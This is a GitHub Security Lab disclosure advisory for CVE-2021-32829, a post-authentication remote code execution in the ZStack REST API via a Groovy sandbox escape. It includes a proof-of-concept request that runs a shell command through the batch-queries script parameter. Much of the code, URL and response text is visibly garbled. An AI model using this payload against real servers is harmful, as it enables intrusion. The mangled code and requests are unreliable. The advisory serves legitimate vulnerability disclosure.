

GHSL-2021-065: Post-authentication Remote Code Execution (RCE) in ZStack REST API - CVE-2021-32829



Coordinated Disclosure Timeline

- 2021-04-14: Reported via a GitHub Security Advisory 2021-04-15: The issue is acknowledged 2021-06-08: Issue is fixed

Summary

ZStack REST API is vulnerable to post-authentication Remote Code Execution (RCE) via bypass of the Groovy shell sandbox

Product

Tested Version

3.10.7-c76 (ZStack-x86 64-DVD-3.10.7-c76.iso)

Details

Arbitrary Groovy Script evaluation (GHSL-2021-065)

The REST API exposes the GET zstack/v1/batch-queries?script endpoint which is backed up by the BatchQueryAction class. Messages are represented by the APIBatchQueryMsg, dispatched to the QueryFacadeImpl facade and handled by the BatchQuery class

The HTTP request parameter script is mapped to the APIBatchQueryMsg.script property and evaluated as a Groovy script in BatchQ

```
Map<String, Object> query(APIBatchQueryMsq msq) (
               ...

def cc = new CompilerConfiguration()
cc.addCompilationCustomizers(new SandboxTransformer())
                  def shell = new GroovyShell(new GroovyClassLoader(), binding, cc)
sandbox.register()
                                             (
Script script = shell.parse(msg.script)
ZQLContext.putAPISession(msg.session)
               ZQContext.putArEssion(msg.session)
script.run()
zqtiContext.clean()
zqtiContext.c
```

As we can see in the code snippet above, the evaluation of the user-controlled Groovy script is sandboxed by SandboxTransformer which will apply the restrictions defined in the registered (Sandbox.register()) GroovyInterceptor. This interceptor is declared in the Sandbox

```
static void checkReceiver(Object obj) (
checkReceiver(obj.getClass())
              throw new Exception("invalid operation on class[$(clz.name)]")
       static void checkMethod(String method) {
   if (method = "sleep") {
      throw new Exception("invalid operation[${method}]")
        Cbject cnMethod(all(GroovyInterceptor.Invoker invoker, Cbject receiver, String method, Cbject... args) throws Throw checkBaceiver(receiver) checkBaceiver(receiver) checkBaceiver(method) return super.onWethod(all(invoker, receiver, method, args) |
        . Object onStaticCall(GroovyInterceptor.Invoker invoker, Class receiver, String method, Object... args) throws Thr checkReceiver(receiver) checkReceiver(method) return super.omStaticCall(invoker, receiver, method, args)
        Cbject onSuperCall(GroovyInterceptor:Invoker invoker, Class senderType, Object receiver, String method, Object... args) throws Throwable (checkBaceiver(receiver) return invoker.call(new Super(senderType, receiver), method, (Object[])args);
       void onSuperConstructor(GroovyInterceptor.Invoker invoker, Class receiver, Object... args) throws Throwable {
    checkReceiver(receiver)
    this.onMewInstance(invoker, receiver, args);
        Cbject onGetFroperty(GroovyInterceptor.Invoker invoker, Cbject receiver, String property) throws ThrougheskReciver(receiver) return invokes.cali(receiver, property);
       Cbject onSetProperty(GroovyInterceptor.Invoker invoker, Object receiver, String property, Object value) throws Throwable { checkReceiver(receiver) return invoker.call(receiver, property, value);
       Object onGetAttribute(GroovyInterceptor.Invoker invoker, Object receiver, String attribute) throws Throwable {
    checkReceiver(receiver)
    return invoker.call(receiver, attribute)}
        Object onBetAttribute(GroovyInterceptor.Invoker invoker, Object receiver, String attribute, Object value) throws Throwable (
checkReceiver(receiver)
return invoker.cali(receiver, attribute, value);
       Object onGetArray(GroovyInterceptor.Invoker invoker, Object receiver, Object index) throws Throwable (
checkReceiver(receiver)
return invoker.call(receiver, (String)null, (Object)index);
              ect onSetArray(GrooryInterceptor.Invoker invoker, Object receiver, Object index, Object value) throws Throwable (
receiver(receiver) receiver, (String) null, index, value);
```

Even though the sandbox heavily restricts the receiver types to a small set of allowed types, the sandbox is non effective at controlling any code placed in Java annotations and therefore vulnerable to meta-programming escapes as defined in this blog post

Impact

Reproduction steps

1. Authenticate as any non-privileged user or system admin

PUT http://192.168.78.132:8080/zstack/v1/accounts/login

```
"loginByAccount": [
"password": | "password: | "pa
```

Response

("inventory": ("uuid": "901c1c7c59534883a6cd3330104d0e18", "accountUuid": "36c27e8ff05c4780bf6d2fa65700f22e", "userUuid": "36c27e8ff05c4780bf6d2fa65700f2e", "userUuid": "36c27e8ff05c4780bf6d2fa65700f2e", "userUuid": "36c27e8ff05c4780bf6d2fa65700f2e", "userUuid": "36c27e8ff05c4780bf6d2fa65700f2e", "userUuid": "36c27

1. Send a PoC exploit which creates a /tmp/pwned file (does not require "SystemAdmin" account)

GET http://182.168.78.132.0800/setack/v1/batch-queries?cript=8groovy.transform.ASTText(value=17Bassert120java.lang.Runtime.getRuntime().exec(122touch120/tmp/pwmed122) 170)120def120x Authorizations. Outh e8971e865b3c03134648922acds130x

status code: 503
Set-Cookie: JBSSSIGNID=78255CEED0417C0627FI188E1A739984; Fath=/rstack; HttpOnly Content-Langth: 472
Date: Thu, 68 Apr 2021 11:47:59 GMT
Connection: Connectio

("error":["code":"SYS.1006","description":"An operation failed","details":"No signature of method: Script1.ssert() is applicable for argu-

Even though, we get an Internal Error response (503), the output of the error already hints us that the process was executed ([java.lang.UNIXFrocess@4a85642]) and if we check the /tmp directory, a pwned file should have been created.

CVE

CVE-2021-32829

Resources

<u>https://github.com/zstackio/zstack/security/advisories/GHSA-6xgg-7rqg-x3q5</u>

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñe

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-065 in any communication regarding this issue.

GitHub

Product

Platform

Support

Company